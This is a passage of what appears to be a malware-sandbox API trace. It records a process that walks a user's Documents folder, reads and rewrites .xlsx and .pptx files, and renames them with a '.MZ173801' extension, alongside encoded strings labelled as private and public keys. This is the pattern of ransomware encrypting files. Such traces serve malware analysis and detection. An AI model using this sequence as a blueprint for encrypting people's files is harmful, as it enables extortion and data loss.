lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0xba8b, lpOverlapped=0x0) returned 1 [0169.107] CloseHandle (hObject=0x278) returned 1 [0169.108] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\YYk-.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\yyk-.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0169.110] WriteFile (in: hFile=0x278, lpBuffer=0x24ac040*, nNumberOfBytesToWrite=0xba8b, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24ac040*, lpNumberOfBytesWritten=0x19fa24*=0xba8b, lpOverlapped=0x0) returned 1 [0169.112] CloseHandle (hObject=0x278) returned 1 [0169.112] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\YYk-.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\yyk-.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\YYk-.xlsx.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\yyk-.xlsx.mz173801")) returned 1 [0169.112] GetCurrentThreadId () returned 0xab4 [0169.112] GetCurrentThreadId () returned 0xab4 [0169.113] GetCurrentThreadId () returned 0xab4 [0169.113] GetCurrentThreadId () returned 0xab4 [0169.113] GetCurrentThreadId () returned 0xab4 [0169.113] GetCurrentThreadId () returned 0xab4 [0169.113] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cf01120, ftCreationTime.dwHighDateTime=0x1d56d67, ftLastAccessTime.dwLowDateTime=0x3a9b9480, ftLastAccessTime.dwHighDateTime=0x1d5b029, ftLastWriteTime.dwLowDateTime=0x3a9b9480, ftLastWriteTime.dwHighDateTime=0x1d5b029, nFileSizeHigh=0x0, nFileSizeLow=0x17959, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Y_OK e3 tBYnfH- u5V.pptx", cAlternateFileName="Y_OKE3~1.PPT")) returned 1 [0169.113] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0169.113] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0169.113] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Y_OK e3 tBYnfH- u5V.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\y_ok e3 tbynfh- u5v.pptx"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cf01120, ftCreationTime.dwHighDateTime=0x1d56d67, ftLastAccessTime.dwLowDateTime=0x3a9b9480, ftLastAccessTime.dwHighDateTime=0x1d5b029, ftLastWriteTime.dwLowDateTime=0x3a9b9480, ftLastWriteTime.dwHighDateTime=0x1d5b029, nFileSizeHigh=0x0, nFileSizeLow=0x17959)) returned 1 [0169.113] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Y_OK e3 tBYnfH- u5V.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\y_ok e3 tbynfh- u5v.pptx")) returned 0x20 [0169.113] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Y_OK e3 tBYnfH- u5V.pptx", dwFileAttributes=0x80) returned 1 [0169.115] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0169.115] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0169.116] GetCurrentThreadId () returned 0xab4 [0169.116] GetCurrentThreadId () returned 0xab4 [0169.116] GetCurrentThreadId () returned 0xab4 [0169.117] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0169.117] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0169.117] GetCurrentThreadId () returned 0xab4 [0169.117] GetCurrentThreadId () returned 0xab4 [0169.117] GetCurrentThreadId () returned 0xab4 [0169.117] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Y_OK e3 tBYnfH- u5V.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\y_ok e3 tbynfh- u5v.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0169.117] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0169.117] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0169.118] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x17959 [0169.118] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0169.118] ReadFile (in: hFile=0x278, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x17959, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x17959, lpOverlapped=0x0) returned 1 [0169.119] CloseHandle (hObject=0x278) returned 1 [0169.121] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Y_OK e3 tBYnfH- u5V.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\y_ok e3 tbynfh- u5v.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0169.123] WriteFile (in: hFile=0x278, lpBuffer=0x24b8040*, nNumberOfBytesToWrite=0x17959, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24b8040*, lpNumberOfBytesWritten=0x19fa24*=0x17959, lpOverlapped=0x0) returned 1 [0169.220] CloseHandle (hObject=0x278) returned 1 [0169.221] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\Y_OK e3 tBYnfH- u5V.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\y_ok e3 tbynfh- u5v.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\Y_OK e3 tBYnfH- u5V.pptx.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\y_ok e3 tbynfh- u5v.pptx.mz173801")) returned 1 [0169.225] GetCurrentThreadId () returned 0xab4 [0169.225] GetCurrentThreadId () returned 0xab4 [0169.225] GetCurrentThreadId () returned 0xab4 [0169.225] GetCurrentThreadId () returned 0xab4 [0169.225] GetCurrentThreadId () returned 0xab4 [0169.225] GetCurrentThreadId () returned 0xab4 [0169.225] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ca4f300, ftCreationTime.dwHighDateTime=0x1d5e908, ftLastAccessTime.dwLowDateTime=0x6053d4a0, ftLastAccessTime.dwHighDateTime=0x1d5e169, ftLastWriteTime.dwLowDateTime=0x6053d4a0, ftLastWriteTime.dwHighDateTime=0x1d5e169, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_MPfsxTZe1i_HSj02G", cAlternateFileName="_MPFSX~1")) returned 1 [0169.225] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ca4f300, ftCreationTime.dwHighDateTime=0x1d5e908, ftLastAccessTime.dwLowDateTime=0x6053d4a0, ftLastAccessTime.dwHighDateTime=0x1d5e169, ftLastWriteTime.dwLowDateTime=0x6053d4a0, ftLastWriteTime.dwHighDateTime=0x1d5e169, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_MPfsxTZe1i_HSj02G", cAlternateFileName="_MPFSX~1")) returned 0 [0169.225] GetLastError () returned 0x12 [0169.225] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0169.225] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\*.*", lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x8f0211d2, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8f0211d2, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0169.226] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0169.226] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0169.226] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x8f0211d2, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8f0211d2, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.226] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0169.226] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0169.226] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12ae160, ftCreationTime.dwHighDateTime=0x1d5c18b, ftLastAccessTime.dwLowDateTime=0xf7c642c0, ftLastAccessTime.dwHighDateTime=0x1d5dd52, ftLastWriteTime.dwLowDateTime=0x8dd80c00, 